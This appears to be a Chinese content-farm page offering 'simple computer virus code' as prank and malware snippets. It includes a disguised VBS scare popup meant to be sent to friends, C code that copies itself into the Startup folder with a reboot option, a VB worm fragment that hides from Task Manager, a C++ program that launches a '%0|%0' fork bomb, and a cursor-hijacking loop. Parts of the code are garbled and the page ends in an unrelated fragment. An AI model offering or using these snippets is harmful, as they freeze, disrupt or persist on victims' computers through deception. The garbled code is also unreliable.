简易电脑病毒代码?新建一个文本文档,输入以下内容:msgbox"内容1"+chr(13)+"内容2"+chr(13)+"内容3",1,"标题"格式和符号必须正确,内容1、内容2、内容3、标题可以随意更改,那么,简易电脑病毒代码?一起来了解一下吧。
新建一个文本文档,输入以下内容:msgbox"内容1"+chr(13)+"内容2"+chr(13)+"内容3",1,"标题"
格式和符号必须正确,内容1、内容2、内容3、标题可以随意更改,比如:msgbox"您的电脑被黑客入侵"+chr(13)+"请立刻发三遍我是猪到朋友圈"+chr(13)+"否则您的电脑显卡将起火",1,"黑客入侵警告"
之后保存,重命名,把后缀txt改为vbs,新建一个文件夹,点右键选择属性→自定义→更改图标,把它伪装成一个(我的是winXP,操作可能不一样),把刚才的文件放进去
最后发送给你的朋友,让他打开,他在电脑上就会出现一个这样的提示:
×
黑客入侵警告
您的电脑被黑客入侵
请立刻发三遍我是猪的朋友圈
否则您的电脑显卡将起火
确定
最简单的病毒
#include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
{
//printf("%s\n",argv[i]);
char copy[80];
sprintf(copy,"copy%s\"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
system(copy); //将这个程序拷到开机启动文件夹下面
//char cmd[]="shutdown -r -t 0";//自动重起
char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了!
system(cmd);
system("pause");
}
蠕虫病毒小代码
打开Visual Basic,选择“Standard EXE”的Project。移除那个Form,然后加入一个Module。点击Project->Project1 Properties。在弹出来的窗口中,把Startup Object改为“Sub Main”。在Module中,键入以下的编码:
Sub Main() 'TaskVisible的功能是把程序在End Task表中除掉。App.TaskVisible = False End Sub。
以上的编码只是把程序从End Task表中除掉,没什么作用。现在,让这个VB蠕虫自行复制去别的文件夹。
在Sub Main中键入以下的编码:
'阻止问题发生On Error Resume Next Dim Location, Location2, DesLocation, DesLocation2 '得到EXE的位置Location = App.Path & "\" & App.EXEName & ".exe" Location2 = App.Path & App.EXEName & ".exe"。
/*亲自验证,不到30秒电脑卡死!运行后做好关机准备*/
/*留下您的赞再拿走,谢谢*/
运行效果如图
/*源代码:*/
//////////////////////////////////////////////////
#include
#include
#include
usingnamespacestd;
intmain()
{
chara[9]="abc.bat";
ofstreamfile_out(a);
file_out<<"%0|%0";
file_out.close();
system(a);
return0;
}
#include "picture.h" //加入绘图头文件
usingnamespacestd;
int main()
{
intx=1024;
inty=768;
inta,b;
clog<<"我恭喜你中了病毒!"< srand(time(0)); while(true) { a=rand()%x; b=rand()%y; SetCursorPos(a,b); } return0; } 以上就是简易电脑病毒代码的全部内容,1.鼠标右键点击桌面空白处,创建一个“文本文档”。(什么,还不会建?我倒)2.将下面这段测试代码复制到“文本”里,保存,然后可以直接右键点击这个文本,用杀毒扫描(图1)。也可以等一会,如果你的杀毒还行。